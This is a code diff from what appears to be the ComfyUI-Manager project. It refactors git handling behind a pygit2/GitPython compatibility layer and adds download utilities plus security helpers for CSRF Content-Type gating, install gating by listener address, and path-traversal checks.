+            branch = self._repo.branches.get(branch_name)
+            if branch and branch.upstream:
+                remote_commit = branch.upstream.peel(_pygit2.Commit)
+                analysis, _ = self._repo.merge_analysis(remote_commit.id)
+                if analysis & _pygit2.GIT_MERGE_ANALYSIS_FASTFORWARD:
+                    self._repo.checkout_tree(self._repo.get(remote_commit.id))
+                    branch_ref = self._repo.references.get(f'refs/heads/{branch_name}')
+                    if branch_ref is not None:
+                        branch_ref.set_target(remote_commit.id)
+                    self._repo.head.set_target(remote_commit.id)
+        except Exception:
+            pass
+
+    def close(self):
+        self._repo.free()
+
+
+# ===================================================================
+# Public API
+# ===================================================================
+
+def open_repo(path) -> GitRepo:
+    """Open a repository and return a backend-appropriate wrapper."""
+    if USE_PYGIT2:
+        return _Pygit2Repo(path)
+    else:
+        return _GitPythonRepo(path)
+
+
+def clone_repo(url, dest, progress=None):
+    """Clone a repository from *url* into *dest*.
+
+    Returns a repo wrapper that the caller can use for post-clone operations
+    (checkout, clear_cache, close, etc.).
+    """
+    if USE_PYGIT2:
+        # The proxy= kwarg requires pygit2>=1.18; omit it when no proxy is
+        # configured so proxy-less installs keep working on older pygit2.
+        # (A configured proxy still needs >=1.18 — see requirements.txt.)
+        if _HTTP_PROXY is not None:
+            _pygit2.clone_repository(_to_https_url(url), dest, proxy=_HTTP_PROXY)
+        else:
+            _pygit2.clone_repository(_to_https_url(url), dest)
+        repo = _Pygit2Repo(dest)
+        repo.submodule_update()
+        return repo
+    else:
+        if progress is None:
+            r = _git.Repo.clone_from(url, dest, recursive=True)
+        else:
+            r = _git.Repo.clone_from(url, dest, recursive=True, progress=progress)
+        return _GitPythonRepo(r.working_dir)
+
+
+def setup_git_environment(git_exe):
+    """Configure the git executable path (GitPython only)."""
+    if USE_PYGIT2:
+        return
+    if git_exe:
+        _git.Git().update_environment(GIT_PYTHON_GIT_EXECUTABLE=git_exe)

comfyui_manager/common/git_helper.py

@@ -3,16 +3,31 @@ import sys
 import os
 import traceback
 
-import git
-import configparser
-import re
+# Make git_compat importable as a standalone subprocess script
+sys.path.insert(0, os.path.dirname(__file__))
+
+from git_compat import open_repo, clone_repo, GitCommandError, setup_git_environment
 import json
 import yaml
 import requests
 from tqdm.auto import tqdm
-from git.remote import RemoteProgress
+try:
+    from git.remote import RemoteProgress
+except ImportError:
+    RemoteProgress = object
 
 
+comfy_path = os.environ.get('COMFYUI_PATH')
+git_exe_path = os.environ.get('GIT_EXE_PATH')
+
+if comfy_path is None:
+    print("git_helper: environment variable 'COMFYUI_PATH' is not specified.")
+    exit(-1)
+
+if not os.path.exists(os.path.join(comfy_path, 'folder_paths.py')):
+    print("git_helper: '{comfy_path}' is not a valid 'COMFYUI_PATH' location.")
+    exit(-1)
+
 def download_url(url, dest_folder, filename=None):
     # Ensure the destination folder exists
     if not os.path.exists(dest_folder):
@@ -36,15 +51,11 @@ def download_url(url, dest_folder, filename=None):
         print(f"Failed to download file from {url}")
 
 
-config_path = os.path.join(os.path.dirname(__file__), "config.ini")
 nodelist_path = os.path.join(os.path.dirname(__file__), "custom-node-list.json")
 working_directory = os.getcwd()
 
 if os.path.basename(working_directory) != 'custom_nodes':
-    print(f"WARN: This script should be executed in custom_nodes dir")
-    print(f"DBG: INFO {working_directory}")
-    print(f"DBG: INFO {sys.argv}")
-    # exit(-1)
+    print("WARN: This script should be executed in custom_nodes dir")
 
 
 class GitProgress(RemoteProgress):
@@ -59,65 +70,165 @@ class GitProgress(RemoteProgress):
         self.pbar.refresh()
 
 
-def gitclone(custom_nodes_path, url, target_hash=None):
-    repo_name = os.path.splitext(os.path.basename(url))[0]
-    repo_path = os.path.join(custom_nodes_path, repo_name)
+def get_backup_branch_name(repo=None):
+    """Get backup branch name with current timestamp.
 
-    # Clone the repository from the remote URL
-    repo = git.Repo.clone_from(url, repo_path, recursive=True, progress=GitProgress())
+    Inlined from timestamp_utils to keep git_helper.py standalone — this script
+    runs as a subprocess on Windows and must not import from comfyui_manager.
+    """
+    import time as _time
+    import uuid as _uuid
+
+    base_name = f'backup_{_time.strftime("%Y%m%d_%H%M%S")}'
+
+    if repo is None:
+        return base_name
+
+    try:
+        existing_branches = {b.name for b in repo.list_heads()}
+    except Exception:
+        return base_name
+
+    if base_name not in existing_branches:
+        return base_name
+
+    for i in range(1, 100):
+        new_name = f'{base_name}_{i}'
+        if new_name not in existing_branches:
+            return new_name
+
+    return f'{base_name}_{_uuid.uuid4().hex[:6]}'
+
+
+def gitclone(custom_nodes_path, url, target_hash=None, repo_path=None):
+    repo_name = os.path.splitext(os.path.basename(url))[0]
+
+    if repo_path is None:
+        repo_path = os.path.join(custom_nodes_path, repo_name)
+
+    # On Windows, previous failed clones may leave directories with locked
+    # .git/objects/pack/* files (GitPython memory-mapped handle leak).
+    # Rename stale directory out of the way so clone can proceed.
+    if os.path.exists(repo_path):
+        import shutil
+        import uuid as _uuid
+        trash_dir = os.path.join(custom_nodes_path, '.disabled', '.trash')
+        os.makedirs(trash_dir, exist_ok=True)
+        trash = os.path.join(trash_dir, repo_name + f'_{_uuid.uuid4().hex[:8]}')
+        try:
+            os.rename(repo_path, trash)
+            shutil.rmtree(trash, ignore_errors=True)
+        except OSError:
+            shutil.rmtree(repo_path, ignore_errors=True)
+
+    # Disable tqdm progress when stderr is piped to avoid deadlock on Windows.
+    progress = GitProgress() if sys.stderr.isatty() else None
+    repo = clone_repo(url, repo_path, progress=progress)
 
     if target_hash is not None:
         print(f"CHECKOUT: {repo_name} [{target_hash}]")
-        repo.git.checkout(target_hash)
+        repo.checkout(target_hash)
             
-    repo.git.clear_cache()
+    repo.clear_cache()
     repo.close()
 
 
 def gitcheck(path, do_fetch=False):
     try:
         # Fetch the latest commits from the remote repository
-        repo = git.Repo(path)
+        with open_repo(path) as repo:
 
-        if repo.head.is_detached:
-            print("CUSTOM NODE CHECK: True")
-            return
-
-        current_branch = repo.active_branch
-        branch_name = current_branch.name
-
-        remote_name = current_branch.tracking_branch().remote_name
-        remote = repo.remote(name=remote_name)
-
-        if do_fetch:
-            remote.fetch()
-
-        # Get the current commit hash and the commit hash of the remote branch
-        commit_hash = repo.head.commit.hexsha
-        remote_commit_hash = repo.refs[f'{remote_name}/{branch_name}'].object.hexsha
-
-        # Compare the commit hashes to determine if the local repository is behind the remote repository
-        if commit_hash != remote_commit_hash:
-            # Get the commit dates
-            commit_date = repo.head.commit.committed_datetime
-            remote_commit_date = repo.refs[f'{remote_name}/{branch_name}'].object.committed_datetime
-
-            # Compare the commit dates to determine if the local repository is behind the remote repository
-            if commit_date < remote_commit_date:
+            if repo.head_is_detached:
                 print("CUSTOM NODE CHECK: True")
-        else:
-            print("CUSTOM NODE CHECK: False")
+                return
+
+            branch_name = repo.active_branch_name
+
+            remote_name = repo.get_tracking_remote_name()
+            remote = repo.get_remote(remote_name)
+
+            if do_fetch:
+                remote.fetch()
+
+            # Get the current commit hash and the commit hash of the remote branch
+            commit_hash = repo.head_commit_hexsha
+
+            if repo.has_ref(f'{remote_name}/{branch_name}'):
+                remote_commit_hash = repo.get_ref_commit_hexsha(f'{remote_name}/{branch_name}')
+            else:
+                print("CUSTOM NODE CHECK: True")  # non default branch is treated as updatable
+                return
+
+            # Compare the commit hashes to determine if the local repository is behind the remote repository
+            if commit_hash != remote_commit_hash:
+                # Get the commit dates
+                commit_date = repo.head_commit_datetime
+                remote_commit_date = repo.get_ref_commit_datetime(f'{remote_name}/{branch_name}')
+
+                # Compare the commit dates to determine if the local repository is behind the remote repository
+                if commit_date < remote_commit_date:
+                    print("CUSTOM NODE CHECK: True")
+            else:
+                print("CUSTOM NODE CHECK: False")
     except Exception as e:
         print(e)
         print("CUSTOM NODE CHECK: Error")
 
 
+def get_remote_name(repo):
+    available_remotes = [remote.name for remote in repo.list_remotes()]
+    if 'origin' in available_remotes:
+        return 'origin'
+    elif 'upstream' in available_remotes:
+        return 'upstream'
+    elif len(available_remotes) > 0:
+        return available_remotes[0]
+
+    if not available_remotes:
+        print(f"[ComfyUI-Manager] No remotes are configured for this repository: {repo.working_dir}")
+    else:
+        print(f"[ComfyUI-Manager] Available remotes in '{repo.working_dir}': ")
+        for remote in available_remotes:
+            print(f"- {remote}")
+
+    return None
+
+
 def switch_to_default_branch(repo):
-    show_result = repo.git.remote("show", "origin")
-    matches = re.search(r"\s*HEAD branch:\s*(.*)", show_result)
-    if matches:
-        default_branch = matches.group(1)
-        repo.git.checkout(default_branch)
+    remote_name = get_remote_name(repo)
+
+    try:
+        if remote_name is None:
+            return False
+
+        default_branch = repo.symbolic_ref(f'refs/remotes/{remote_name}/HEAD').replace(f'refs/remotes/{remote_name}/', '')
+        repo.checkout(default_branch)
+        return True
+    except Exception:
+        # try checkout master
+        # try checkout main if failed
+        try:
+            repo.checkout(repo.get_head_by_name('master'))
+            return True
+        except Exception:
+            try:
+                if remote_name is not None:
+                    repo.checkout_new_branch('master', f'{remote_name}/master')
+                    return True
+            except Exception:
+                try:
+                    repo.checkout(repo.get_head_by_name('main'))
+                    return True
+                except Exception:
+                    try:
+                        if remote_name is not None:
+                            repo.checkout_new_branch('main', f'{remote_name}/main')
+                            return True
+                    except Exception:
+                        pass
+
+    print("[ComfyUI Manager] Failed to switch to the default branch")
+    return False
 
 
 def gitpull(path):
@@ -126,57 +237,67 @@ def gitpull(path):
         raise ValueError('Not a git repository')
 
     # Pull the latest changes from the remote repository
-    repo = git.Repo(path)
-    if repo.is_dirty():
-        repo.git.stash()
+    with open_repo(path) as repo:
+        if repo.is_dirty():
+            print(f"STASH: '{path}' is dirty.")
+            repo.stash()
 
-    commit_hash = repo.head.commit.hexsha
-    try:
-        if repo.head.is_detached:
-            switch_to_default_branch(repo)
+        commit_hash = repo.head_commit_hexsha
+        try:
+            if repo.head_is_detached:
+                switch_to_default_branch(repo)
 
-        current_branch = repo.active_branch
-        branch_name = current_branch.name
+            branch_name = repo.active_branch_name
 
-        remote_name = current_branch.tracking_branch().remote_name
-        remote = repo.remote(name=remote_name)
+            remote_name = repo.get_tracking_remote_name()
+            remote = repo.get_remote(remote_name)
 
-        remote.fetch()
-        remote_commit_hash = repo.refs[f'{remote_name}/{branch_name}'].object.hexsha
+            if not repo.has_ref(f'{remote_name}/{branch_name}'):
+                switch_to_default_branch(repo)
+                branch_name = repo.active_branch_name
 
-        if commit_hash == remote_commit_hash:
-            print("CUSTOM NODE PULL: None")  # there is no update
-            repo.close()
-            return
+            remote.fetch()
+            if repo.has_ref(f'{remote_name}/{branch_name}'):
+                remote_commit_hash = repo.get_ref_commit_hexsha(f'{remote_name}/{branch_name}')
+            else:
+                print("CUSTOM NODE PULL: Fail")  # update fail
+                return
 
-        remote.pull()
+            if commit_hash == remote_commit_hash:
+                print("CUSTOM NODE PULL: None")  # there is no update
+                return
 
-        repo.git.submodule('update', '--init', '--recursive')
-        new_commit_hash = repo.head.commit.hexsha
+            try:
+                repo.pull_ff_only()
+            except GitCommandError:
+                backup_name = get_backup_branch_name(repo)
+                repo.create_backup_branch(backup_name)
+                print(f"[ComfyUI-Manager] Cannot fast-forward. Backup created: {backup_name}")
+                repo.reset_hard(f'{remote_name}/{branch_name}')
+                print(f"[ComfyUI-Manager] Reset to {remote_name}/{branch_name}")
 
-        if commit_hash != new_commit_hash:
-            print("CUSTOM NODE PULL: Success")  # update success
-        else:
-            print("CUSTOM NODE PULL: Fail")  # update fail
-    except Exception as e:
-        print(e)
-        print("CUSTOM NODE PULL: Fail")  # unknown git error
+            repo.submodule_update()
+            new_commit_hash = repo.head_commit_hexsha
 
-    repo.close()
+            if commit_hash != new_commit_hash:
+                print("CUSTOM NODE PULL: Success")  # update success
+            else:
+                print("CUSTOM NODE PULL: Fail")  # update fail
+        except Exception as e:
+            print(e)
+            print("CUSTOM NODE PULL: Fail")  # unknown git error
 
 
 def checkout_comfyui_hash(target_hash):
-    repo_path = os.path.abspath(os.path.join(working_directory, '..'))  # ComfyUI dir
+    with open_repo(comfy_path) as repo:
+        commit_hash = repo.head_commit_hexsha
 
-    repo = git.Repo(repo_path)
-    commit_hash = repo.head.commit.hexsha
-
-    if commit_hash != target_hash:
-        try:
-            print(f"CHECKOUT: ComfyUI [{target_hash}]")
-            repo.git.checkout(target_hash)
-        except git.GitCommandError as e:
-            print(f"Error checking out the ComfyUI: {str(e)}")
+        if commit_hash != target_hash:
+            try:
+                print(f"CHECKOUT: ComfyUI [{target_hash}]")
+                repo.checkout(target_hash)
+            except GitCommandError as e:
+                print(f"Error checking out the ComfyUI: {str(e)}")
 
 
 def checkout_custom_node_hash(git_custom_node_infos):
@@ -238,18 +359,21 @@ def checkout_custom_node_hash(git_custom_node_infos):
                         need_checkout = True
 
                 if need_checkout:
-                    repo = git.Repo(fullpath)
-                    commit_hash = repo.head.commit.hexsha
+                    with open_repo(fullpath) as repo:
+                        commit_hash = repo.head_commit_hexsha
 
-                    if commit_hash != item['hash']:
-                        print(f"CHECKOUT: {repo_name} [{item['hash']}]")
-                        repo.git.checkout(item['hash'])
+                        if commit_hash != item['hash']:
+                            print(f"CHECKOUT: {repo_name} [{item['hash']}]")
+                            repo.checkout(item['hash'])
 
             except Exception:
                 print(f"Failed to restore snapshots for the custom node '{path}'")
 
     # clone missing
     for k, v in git_custom_node_infos.items():
+        if 'ComfyUI-Manager' in k:
+            continue
+
         if not v['disabled']:
             repo_name = k.split('/')[-1]
             if repo_name.endswith('.git'):
@@ -258,7 +382,7 @@ def checkout_custom_node_hash(git_custom_node_infos):
             path = os.path.join(working_directory, repo_name)
             if not os.path.exists(path):
                 print(f"CLONE: {path}")
-                gitclone(working_directory, k, v['hash'])
+                gitclone(working_directory, k, target_hash=v['hash'])
 
 
 def invalidate_custom_node_file(file_custom_node_infos):
@@ -308,19 +432,18 @@ def invalidate_custom_node_file(file_custom_node_infos):
                     download_url(url, working_directory)
 
 
-def apply_snapshot(target):
+def apply_snapshot(path):
     try:
-        path = os.path.join(os.path.dirname(__file__), 'snapshots', f"{target}")
         if os.path.exists(path):
-            if not target.endswith('.json') and not target.endswith('.yaml'):
+            if not path.endswith('.json') and not path.endswith('.yaml'):
                 print(f"Snapshot file not found: `{path}`")
                 print("APPLY SNAPSHOT: False")
                 return None
 
             with open(path, 'r', encoding="UTF-8") as snapshot_file:
-                if target.endswith('.json'):
+                if path.endswith('.json'):
                     info = json.load(snapshot_file)
-                elif target.endswith('.yaml'):
+                elif path.endswith('.yaml'):
                     info = yaml.load(snapshot_file, Loader=yaml.SafeLoader)
                     info = info['custom_nodes']
                 else:
@@ -332,12 +455,13 @@ def apply_snapshot(target):
                 git_custom_node_infos = info['git_custom_nodes']
                 file_custom_node_infos = info['file_custom_nodes']
 
-                checkout_comfyui_hash(comfyui_hash)
+                if comfyui_hash:
+                    checkout_comfyui_hash(comfyui_hash)
                 checkout_custom_node_hash(git_custom_node_infos)
                 invalidate_custom_node_file(file_custom_node_infos)
 
                 print("APPLY SNAPSHOT: True")
-                if 'pips' in info:
+                if 'pips' in info and info['pips']:
                     return info['pips']
                 else:
                     return None
@@ -373,7 +497,7 @@ def restore_pip_snapshot(pips, options):
         res = 1
         try:
             res = subprocess.check_call([sys.executable, '-m', 'pip', 'install'] + non_url)
-        except:
+        except Exception:
             pass
 
         # fallback
@@ -382,7 +506,7 @@ def restore_pip_snapshot(pips, options):
                 res = 1
                 try:
                     res = subprocess.check_call([sys.executable, '-m', 'pip', 'install', x])
-                except:
+                except Exception:
                     pass
 
                 if res != 0:
@@ -393,7 +517,7 @@ def restore_pip_snapshot(pips, options):
             res = 1
             try:
                 res = subprocess.check_call([sys.executable, '-m', 'pip', 'install', x])
-            except:
+            except Exception:
                 pass
 
             if res != 0:
@@ -404,7 +528,7 @@ def restore_pip_snapshot(pips, options):
             res = 1
             try:
                 res = subprocess.check_call([sys.executable, '-m', 'pip', 'install', x])
-            except:
+            except Exception:
                 pass
 
             if res != 0:
@@ -414,10 +538,8 @@ def restore_pip_snapshot(pips, options):
 
 
 def setup_environment():
-    config = configparser.ConfigParser()
-    config.read(config_path)
-    if 'default' in config and 'git_exe' in config['default'] and config['default']['git_exe'] != '':
-        git.Git().update_environment(GIT_PYTHON_GIT_EXECUTABLE=config['default']['git_exe'])
+    if git_exe_path is not None:
+        setup_git_environment(git_exe_path)
 
 
 setup_environment()
@@ -425,7 +547,11 @@ setup_environment()
 
 try:
     if sys.argv[1] == "--clone":
-        gitclone(sys.argv[2], sys.argv[3])
+        repo_path = None
+        if len(sys.argv) > 4:
+            repo_path = sys.argv[4]
+
+        gitclone(sys.argv[2], sys.argv[3], repo_path=repo_path)
     elif sys.argv[1] == "--check":
         gitcheck(sys.argv[2], False)
     elif sys.argv[1] == "--fetch":
@@ -444,7 +570,9 @@ try:
             restore_pip_snapshot(pips, options)
     sys.exit(0)
 except Exception as e:
-    print(e)
-    sys.exit(-1)
-    
-    
+    print(e, file=sys.stderr)
+    if hasattr(e, 'stderr') and e.stderr:
+        print(e.stderr, file=sys.stderr)
+    sys.exit(1)
+
+

comfyui_manager/common/git_utils.py

@@ -0,0 +1,93 @@
+import os
+import configparser
+
+
+GITHUB_ENDPOINT = os.getenv('GITHUB_ENDPOINT')
+
+
+def is_git_repo(path: str) -> bool:
+    """ Check if the path is a git repository. """
+    # NOTE: Checking it through `git.Repo` must be avoided.
+    #       It locks the file, causing issues on Windows.
+    return os.path.exists(os.path.join(path, '.git'))
+
+
+def get_commit_hash(fullpath):
+    git_head = os.path.join(fullpath, '.git', 'HEAD')
+    if os.path.exists(git_head):
+        with open(git_head) as f:
+            line = f.readline()
+
+            if line.startswith("ref: "):
+                ref = os.path.join(fullpath, '.git', line[5:].strip())
+                if os.path.exists(ref):
+                    with open(ref) as f2:
+                        return f2.readline().strip()
+                else:
+                    return "unknown"
+            else:
+                return line
+
+    return "unknown"
+
+
+def git_url(fullpath):
+    """
+    resolve version of unclassified custom node based on remote url in .git/config
+    """
+    git_config_path = os.path.join(fullpath, '.git', 'config')
+
+    if not os.path.exists(git_config_path):
+        return None
+
+    # Set `strict=False` to allow duplicate `vscode-merge-base` sections, addressing <https://github.com/ltdrdata/ComfyUI-Manager/issues/1529>
+    config = configparser.ConfigParser(strict=False)
+    config.read(git_config_path)
+
+    for k, v in config.items():
+        if k.startswith('remote ') and 'url' in v:
+            if 'Comfy-Org/ComfyUI-Manager' in v['url']:
+                return "https://github.com/ltdrdata/ComfyUI-Manager"
+            return v['url']
+
+    return None
+
+
+def normalize_url(url) -> str:
+    github_id = normalize_to_github_id(url)
+    if github_id is not None:
+        url = f"https://github.com/{github_id}"
+
+    return url
+
+
+def normalize_to_github_id(url) -> str:
+    if 'github' in url or (GITHUB_ENDPOINT is not None and GITHUB_ENDPOINT in url):
+        author = os.path.basename(os.path.dirname(url))
+
+        if author.startswith('git@github.com:'):
+            author = author.split(':')[1]
+
+        repo_name = os.path.basename(url)
+        if repo_name.endswith('.git'):
+            repo_name = repo_name[:-4]
+
+        return f"{author}/{repo_name}"
+
+    # Handle short format like "author/repo" (aux_id format)
+    if '/' in url and not url.startswith('http'):
+        parts = url.split('/')
+        if len(parts) == 2 and parts[0] and parts[1]:
+            return url
+
+    return None
+
+
+def get_url_for_clone(url):
+    url = normalize_url(url)
+
+    if GITHUB_ENDPOINT is not None and url.startswith('https://github.com/'):
+        url = GITHUB_ENDPOINT + url[18:] # url[18:] -> remove `https://github.com`
+
+    return url
+    

comfyui_manager/common/manager_downloader.py

@@ -0,0 +1,163 @@
+import os
+from urllib.parse import urlparse
+import urllib
+import sys
+import logging
+import requests
+from huggingface_hub import HfApi
+from tqdm.auto import tqdm
+
+
+aria2 = os.getenv('COMFYUI_MANAGER_ARIA2_SERVER')
+HF_ENDPOINT = os.getenv('HF_ENDPOINT')
+
+
+if aria2 is not None:
+    secret = os.getenv('COMFYUI_MANAGER_ARIA2_SECRET')
+    url = urlparse(aria2)
+    port = url.port
+    host = url.scheme + '://' + url.hostname
+    import aria2p
+
+    aria2 = aria2p.API(aria2p.Client(host=host, port=port, secret=secret))
+
+
+def basic_download_url(url, dest_folder: str, filename: str):
+    '''
+    Download file from url to dest_folder with filename
+    using requests library.
+    '''
+    import requests
+
+    # Ensure the destination folder exists
+    if not os.path.exists(dest_folder):
+        os.makedirs(dest_folder)
+
+    # Full path to save the file
+    dest_path = os.path.join(dest_folder, filename)
+
+    # Download the file
+    response = requests.get(url, stream=True)
+    if response.status_code == 200:
+        with open(dest_path, 'wb') as file:
+            for chunk in response.iter_content(chunk_size=1024):
+                if chunk:
+                    file.write(chunk)
+    else:
+        raise Exception(f"Failed to download file from {url}")
+
+
+def download_url(model_url: str, model_dir: str, filename: str):
+    if HF_ENDPOINT:
+        model_url = model_url.replace('https://huggingface.co', HF_ENDPOINT)
+        logging.info(f"model_url replaced by HF_ENDPOINT, new = {model_url}")
+    if aria2:
+        return aria2_download_url(model_url, model_dir, filename)
+    else:
+        from torchvision.datasets.utils import download_url as torchvision_download_url
+        try:
+            return torchvision_download_url(model_url, model_dir, filename)
+        except Exception as e:
+            logging.error(f"[ComfyUI-Manager] Failed to download: {model_url} / {repr(e)}")
+            raise
+
+
+def aria2_find_task(dir: str, filename: str):
+    target = os.path.join(dir, filename)
+
+    downloads = aria2.get_downloads()
+
+    for download in downloads:
+        for file in download.files:
+            if file.is_metadata:
+                continue
+            if str(file.path) == target:
+                return download
+
+
+def aria2_download_url(model_url: str, model_dir: str, filename: str):
+    import manager_core as core
+    import tqdm
+    import time
+
+    if model_dir.startswith(core.comfy_path):
+        model_dir = model_dir[len(core.comfy_path) :]
+
+    download_dir = model_dir if model_dir.startswith('/') else os.path.join('/models', model_dir)
+
+    download = aria2_find_task(download_dir, filename)
+    if download is None:
+        options = {'dir': download_dir, 'out': filename}
+        download = aria2.add(model_url, options)[0]
+
+    if download.is_active:
+        with tqdm.tqdm(
+            total=download.total_length,
+            bar_format='{l_bar}{bar}{r_bar}',
+            desc=filename,
+            unit='B',
+            unit_scale=True,
+        ) as progress_bar:
+            while download.is_active:
+                if progress_bar.total == 0 and download.total_length != 0:
+                    progress_bar.reset(download.total_length)
+                progress_bar.update(download.completed_length - progress_bar.n)
+                time.sleep(1)
+                download.update()
+
+
+def download_url_with_agent(url, save_path):
+    try:
+        headers = {
+            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'}
+
+        req = urllib.request.Request(url, headers=headers)
+        response = urllib.request.urlopen(req)
+        data = response.read()
+
+        if not os.path.exists(os.path.dirname(save_path)):
+            os.makedirs(os.path.dirname(save_path))
+
+        with open(save_path, 'wb') as f:
+            f.write(data)
+
+    except Exception as e:
+        print(f"Download error: {url} / {e}", file=sys.stderr)
+        return False
+
+    print("Installation was successful.")
+    return True
+
+# NOTE: snapshot_download doesn't provide file size tqdm.
+def download_repo_in_bytes(repo_id, local_dir):
+    api = HfApi()
+    repo_info = api.repo_info(repo_id=repo_id, files_metadata=True)
+
+    os.makedirs(local_dir, exist_ok=True)
+
+    total_size = 0
+    for file_info in repo_info.siblings:
+        if file_info.size is not None:
+            total_size += file_info.size
+
+    pbar = tqdm(total=total_size, unit="B", unit_scale=True, desc="Downloading")
+
+    for file_info in repo_info.siblings:
+        out_path = os.path.join(local_dir, file_info.rfilename)
+        os.makedirs(os.path.dirname(out_path), exist_ok=True)
+
+        if file_info.size is None:
+            continue
+
+        download_url = f"https://huggingface.co/{repo_id}/resolve/main/{file_info.rfilename}"
+
+        with requests.get(download_url, stream=True) as r, open(out_path, "wb") as f:
+            r.raise_for_status()
+            for chunk in r.iter_content(chunk_size=65536):
+                if chunk:
+                    f.write(chunk)
+                    pbar.update(len(chunk))
+
+    pbar.close()
+
+

comfyui_manager/common/manager_security.py

@@ -0,0 +1,153 @@
+"""Security helpers for CSRF protection and Content-Type gating.
+
+reject_simple_form_post() is applied ONLY to POST handlers that do not consume
+a request body (e.g., snapshot/save, queue/reset, queue/start, reboot). These
+are vulnerable to cross-origin <form method=POST> attacks because the server
+accepts the request without parsing any body — the attacker needs no ability
+to forge a valid payload, only to point a hidden form at the URL.
+
+Handlers that DO read a body via ``await request.json()`` (install/git_url,
+install/pip, queue/install_model, db_mode POST, policy/update POST,
+channel_url_list POST, queue/batch, queue/task, import_fail_info, etc.) are
+NOT gated here — a cross-origin <form method=POST> cannot forge a valid JSON
+body because the browser refuses to send ``application/json`` without a CORS
+preflight, which this server rejects by not responding with an appropriate
+Access-Control-Allow-Origin.
+
+DO NOT add the gate to body-reading handlers (redundant + UX-breaking).
+DO NOT remove the gate from no-body handlers (this is the bypass vector).
+"""
+
+import os
+from enum import Enum
+from typing import Optional
+
+from aiohttp import web
+
+is_personal_cloud_mode = False
+handler_policy = {}
+
+
+# CORS "simple request" Content-Type set per Fetch spec §3.2.3. Browsers send
+# <form method=POST> submissions with one of these three MIME types and do NOT
+# trigger a CORS preflight, so a malicious cross-origin page can silently POST
+# into state-changing endpoints if we only gate on HTTP method. Blocking these
+# three Content-Types on our mutation endpoints forces any non-same-origin POST
+# to use a non-simple Content-Type (e.g. application/json), which triggers a
+# preflight that this server rejects (no Access-Control-Allow-Origin response).
+_SIMPLE_FORM_CONTENT_TYPES = frozenset({
+    'application/x-www-form-urlencoded',
+    'multipart/form-data',
+    'text/plain',
+})
+
+
+def reject_simple_form_post(request) -> Optional[web.Response]:
+    """Reject Content-Types that enable preflight-less <form method=POST> CSRF.
+
+    These 3 MIME types are the complete CORS "simple request" Content-Type set
+    (Fetch spec §3.2.3 "CORS-safelisted request-header"). Blocking them
+    eliminates the <form method=POST> cross-origin CSRF vector, because any
+    other Content-Type triggers a browser-enforced CORS preflight — and this
+    server does not answer preflights with ``Access-Control-Allow-Origin``,
+    effectively blocking cross-origin requests that use non-simple types.
+
+    Returns:
+        web.Response(status=400) when the request has a simple-form
+        Content-Type that must be rejected. None when the request is allowed
+        to proceed (no body, application/json, or any non-simple Content-Type).
+
+    Note:
+        aiohttp's ``request.content_type`` normalizes the header (lower-cases,
+        strips parameters), so a ``multipart/form-data; boundary=----X`` header
+        is compared as ``multipart/form-data``.
+    """
+    if request.content_type in _SIMPLE_FORM_CONTENT_TYPES:
+        return web.Response(
+            status=400,
+            text='Invalid Content-Type for this endpoint. Use application/json or omit body.',
+        )
+    return None
+
+class HANDLER_POLICY(Enum):
+    MULTIPLE_REMOTE_BAN_NON_LOCAL = 1
+    MULTIPLE_REMOTE_BAN_NOT_PERSONAL_CLOUD = 2
+    BANNED = 3
+
+
+def is_loopback(address):
+    import ipaddress
+    try:
+        return ipaddress.ip_address(address).is_loopback
+    except ValueError:
+        return False
+
+
+def is_dedicated_install_allowed(flag_value: bool, listen_address: str, network_mode: str) -> bool:
+    """P-direct predicate for the dedicated install flags (goal265-spec.md §1.2).
+
+    allowed iff flag AND (loopback listener OR network_mode == 'personal_cloud').
+
+    Gates the git-URL / standalone-pip install surfaces via the dedicated
+    ``allow_git_url_install`` / ``allow_pip_install`` config flags, fully
+    decoupled from ``security_level`` (REPLACE, not AND — spec §1.1 inv. 1).
+    The network-position term retains today's invariant that a public
+    (non-loopback, non-personal_cloud) listener stays denied regardless of
+    the flags (spec §1.1 inv. 2).
+
+    Pure function — NO config access; callers resolve ``flag_value`` and
+    ``network_mode`` through their own config reader and pass values in
+    (preserves common/ layering: this module must stay config-import-free).
+    """
+    return bool(flag_value) and (is_loopback(listen_address) or network_mode.lower() == 'personal_cloud')
+
+
+def do_nothing():
+    pass
+
+
+def get_handler_policy(x):
+    return handler_policy.get(x) or set()
+
+def add_handler_policy(x, policy):
+    s = handler_policy.get(x)
+    if s is None:
+        s = set()
+        handler_policy[x] = s
+    
+    s.add(policy)
+    
+    
+multiple_remote_alert = do_nothing
+
+
+def is_safe_path_target(target: str) -> bool:
+    """
+    Check if target string is safe from path traversal attacks.
+
+    Args:
+        target: User-provided filename or identifier
+
+    Returns:
+        True if safe, False if contains path traversal characters
+    """
+    if '/' in target or '\\' in target or '..' in target or '\x00' in target:
+        return False
+    return True
+
+
+def get_safe_file_path(target: str, base_dir: str, extension: str = ".json") -> Optional[str]:
+    """
+    Safely construct a file path, preventing path traversal attacks.
+
+    Args:
+        target: User-provided filename (without extension)
+        base_dir: Base directory path
+        extension: File extension to append (default: ".json")
+
+    Returns:
+        Safe file path or None if input contains path traversal attempts
+    """
+    if not is_safe_path_target(target):
+        return None
+    return os.path.join(base_dir, f"{target}{extension}")

comfyui_manager/common/manager_util.py

@@ -0,0 +1,638 @@
+"""
+description:
+    `manager_util` is the lightest module shared across the prestartup_script, main code, and cm-cli of ComfyUI-Manager.
+"""
+import traceback
+
+import aiohttp
+import json
+import threading
+import os
+import subprocess
+import sys
+import re
+import logging
+import platform
+import shlex
+import time
+from functools import lru_cache
+
+
+cache_lock = threading.Lock()
+session_lock = threading.Lock()
+
+comfyui_manager_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))
+cache_dir = os.path.join(comfyui_manager_path, '.cache')  # This path is also updated together in **manager_core.update_user_directory**.
+
+use_uv = False
+use_unified_resolver = False
+bypass_ssl = False
+
+def is_manager_pip_package():
+    return not os.path.exists(os.path.join(comfyui_manager_path, '..', 'custom_nodes'))
+
+def add_python_path_to_env():
+    if platform.system() != "Windows":
+        sep = ':'
+    else:
+        sep = ';'
+
+    os.environ['PATH'] = os.path.dirname(sys.executable)+sep+os.environ['PATH']
+
+
+@lru_cache(maxsize=2)
+def get_pip_cmd(force_uv=False):
+    """
+    Get the base pip command, with automatic fallback to uv if pip is unavailable.
+
+    Args:
+        force_uv (bool): If True, use uv directly without trying pip
+
+    Returns:
+        list: Base command for pip operations
+    """
+    embedded = 'python_embeded' in sys.executable
+
+    # Try pip first (unless forcing uv)
